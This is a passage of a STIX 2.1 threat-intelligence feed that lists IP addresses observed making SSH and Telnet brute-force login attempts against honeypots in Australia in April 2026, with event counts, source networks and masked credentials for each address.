      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--904ff349-5cb8-4e26-a7a8-d339bef9bd15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T11:15:03.000Z",
      "valid_until": "2026-05-22T11:15:01.000Z"
    },
    {
      "created": "2026-04-20T12:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 4761. Organisation(s): INDOSAT Internet Network Provider. Usernames observed (masked): t******r, 3**********4, r**t, t**t, t*******1. Passwords observed (masked): ***, 1****e, 3***********4, 3**********4, Q******8.",
      "id": "indicator--7ede9236-99b1-4b6d-ab1f-2cf60d87b2aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T12:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.8.146.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T12:15:08.000Z",
      "valid_until": "2026-05-22T12:15:02.000Z"
    },
    {
      "created": "2026-04-20T12:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): r**t, 3**********4, s***m, t*******1. Passwords observed (masked): ***, 3***********4, 3**********4, Q*******#, s*******4.",
      "id": "indicator--84cfc733-0f82-47c6-9957-7971789e71c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T12:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.163.18.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T12:15:08.000Z",
      "valid_until": "2026-05-22T12:15:02.000Z"
    },
    {
      "created": "2026-04-20T12:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 8342. Organisation(s): JSC RTComm.RU.",
      "id": "indicator--59084dc4-2ddf-48dc-8009-dc910cc0f3de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T12:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.161.114.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T12:15:08.000Z",
      "valid_until": "2026-05-22T12:15:02.000Z"
    },
    {
      "created": "2026-04-20T12:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6a2f5078-26ae-4bd5-93f2-8ce8f89180b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T12:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T12:15:08.000Z",
      "valid_until": "2026-05-22T12:15:02.000Z"
    },
    {
      "created": "2026-04-20T13:15:06.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--4b559977-fe68-4bbd-9181-f0c09f735b33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:15:06.000Z",
      "valid_until": "2026-05-22T13:15:02.000Z"
    },
    {
      "created": "2026-04-20T13:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ea92fe82-d4e6-46e1-80d4-2df6eef9cc96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:15:06.000Z",
      "valid_until": "2026-05-22T13:15:02.000Z"
    },
    {
      "created": "2026-04-20T13:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1477. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t, u****u, a***n, u**r, d****y. Passwords observed (masked): 1****6, ***, 1******8, P******d, p******d.",
      "id": "indicator--cd03c59d-0bc9-4f30-8d0f-7f6036e4af0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:15:06.000Z",
      "valid_until": "2026-05-22T13:15:02.000Z"
    },
    {
      "created": "2026-04-20T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d7281cbb-b24d-4049-8f87-815a9666ea48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.122.30.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T14:15:04.000Z",
      "valid_until": "2026-05-22T14:15:02.000Z"
    },
    {
      "created": "2026-04-20T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 33993. Organisation(s): UFO Hosting LLC. Usernames observed (masked): u***1. Passwords observed (masked): u***1.",
      "id": "indicator--734d1c6c-799b-42ef-8a11-75d4b10f8b3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.22.133.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T14:15:04.000Z",
      "valid_until": "2026-05-22T14:15:02.000Z"
    },
    {
      "created": "2026-04-20T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group. Usernames observed (masked): g******e, 3**********4, r**t, t*****p, u****u. Passwords observed (masked): 1**z, 3***********4, ***, 3**********4, A*********6.",
      "id": "indicator--23ab7701-bb07-487e-9a47-b4db3bf90a29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.78.132.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T14:15:04.000Z",
      "valid_until": "2026-05-22T14:15:02.000Z"
    },
    {
      "created": "2026-04-20T15:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9971. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--74a8ee5c-6b21-4404-8fd3-4a7172f92017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T15:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.30.4.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T15:15:07.000Z",
      "valid_until": "2026-05-22T15:15:02.000Z"
    },
    {
      "created": "2026-04-20T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6702e520-46da-4193-9269-d321c2f1938f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:15:04.000Z",
      "valid_until": "2026-05-22T16:15:02.000Z"
    },
    {
      "created": "2026-04-20T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): a*******l, q********p.",
      "id": "indicator--a13dccb9-60d1-4cbd-a22a-f82023d26bb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.97.62.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:15:04.000Z",
      "valid_until": "2026-05-22T16:15:02.000Z"
    },
    {
      "created": "2026-04-20T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--133bf4d5-b2f5-4f7c-913d-0dd8fcbc918d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.166.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:15:04.000Z",
      "valid_until": "2026-05-22T16:15:02.000Z"
    },
    {
      "created": "2026-04-20T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--50b798b1-1619-4cec-a221-a0c70a270814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.240.223.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:15:04.000Z",
      "valid_until": "2026-05-22T16:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--3d9735df-879b-4019-a3fb-d2c966e4099e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 502. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, f*****r, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, !**********C, 1**4, 1*********..",
      "id": "indicator--619142e7-10e0-4fd9-a105-baa369244e6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.110.253.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 266732. Organisation(s): FIBERTEL PERU S.A.. Usernames observed (masked): r**t, 3**********4, t*******k, u**r, a***n. Passwords observed (masked): 3***********4, 3**********4, $**********N, 1*******f, A*******3.",
      "id": "indicator--61c0b394-64c3-479f-84fe-141dc388d085",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.132.180.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 431. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, f*****r, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, !**********C, 1**4, 1*********..",
      "id": "indicator--a614599c-8855-4d43-ac2b-242921bb1657",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.7.8.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 502. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, 3**********4, f*****r, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, !**********C, 1**4, 1*********..",
      "id": "indicator--5f2d9340-6aaf-42cf-a0bf-c43c9b7af0ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 339. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, f*****r, u**r. Passwords observed (masked): 3***********4, 3**********4, A******F, A*******5, P***********4.",
      "id": "indicator--5d51cea9-4218-480a-8a41-4e2cbdf6c78e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.172.186.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, t*******k, a***n, m****r. Passwords observed (masked): 3***********4, 3**********4, $**********N, 1*******f, A*******3.",
      "id": "indicator--c307b371-5e50-45ef-bafd-dffb29987687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.243.208.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T17:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d105af9d-e844-40c6-b07c-ef42e2c38a6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T17:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:15:25.000Z",
      "valid_until": "2026-05-22T17:15:02.000Z"
    },
    {
      "created": "2026-04-20T18:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 156. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213877. Organisation(s): U1 Digital Services Ltd. Usernames observed (masked): r**t, s**n, 3**********4, p**d, s***m. Passwords observed (masked): .********d, 1**1, 3***********4, 3**********4, A*******@.",
      "id": "indicator--784d150f-88a0-437f-861d-e81c05394d2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.137.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T18:15:31.000Z",
      "valid_until": "2026-05-22T18:15:02.000Z"
    },
    {
      "created": "2026-04-20T18:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): r**t, s**n, u****u, 3**********4, a*****r. Passwords observed (masked): ***, .********d, 1**1, 1******3, 1******n.",
      "id": "indicator--272e93d4-a93c-484c-80c2-3cba71d903ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.174.211.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T18:15:31.000Z",
      "valid_until": "2026-05-22T18:15:02.000Z"
    },
    {
      "created": "2026-04-20T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--da851f59-e320-482f-89d1-d6dae29a36bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.141.187.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T18:15:31.000Z",
      "valid_until": "2026-05-22T18:15:02.000Z"
    },
    {
      "created": "2026-04-20T18:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--cc28dda6-096c-4e89-8f15-38b9495bb04c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.242.111.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T18:15:31.000Z",
      "valid_until": "2026-05-22T18:15:02.000Z"
    },
    {
      "created": "2026-04-20T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--17ab4256-2a8d-4b15-ad28-2208d169bd7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T18:15:31.000Z",
      "valid_until": "2026-05-22T18:15:02.000Z"
    },
    {
      "created": "2026-04-20T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fb2b1927-8037-4664-9b1f-9a9652632366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T19:15:13.000Z",
      "valid_until": "2026-05-22T19:15:02.000Z"
    },
    {
      "created": "2026-04-20T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5ddcc15f-db31-457b-b45c-c4e21de95de1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.49.23.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T20:15:04.000Z",
      "valid_until": "2026-05-22T20:15:02.000Z"
    },
    {
      "created": "2026-04-20T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--5cb03d24-00b0-4030-b39e-e28b2248f968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.123.192.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T20:15:04.000Z",
      "valid_until": "2026-05-22T20:15:02.000Z"
    },
    {
      "created": "2026-04-20T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 415. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, a***n, d****y, m****r. Passwords observed (masked): 3***********4, 3**********4, 7****0, 8******8, @*******8.",
      "id": "indicator--76fea263-306f-4c9f-9b5c-528ae83fda62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.225.56.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T20:15:04.000Z",
      "valid_until": "2026-05-22T20:15:02.000Z"
    },
    {
      "created": "2026-04-20T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, a***n, d****y, o**o. Passwords observed (masked): 3***********4, 3**********4, 7****0, A*******!, A******!.",
      "id": "indicator--ab827987-eee6-436d-bc3b-8bcb96f7b7c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T20:15:04.000Z",
      "valid_until": "2026-05-22T20:15:02.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--221b0c0f-80a0-480b-94ef-7a2af4ba0509",
      "labels": [
        "bruteforce"
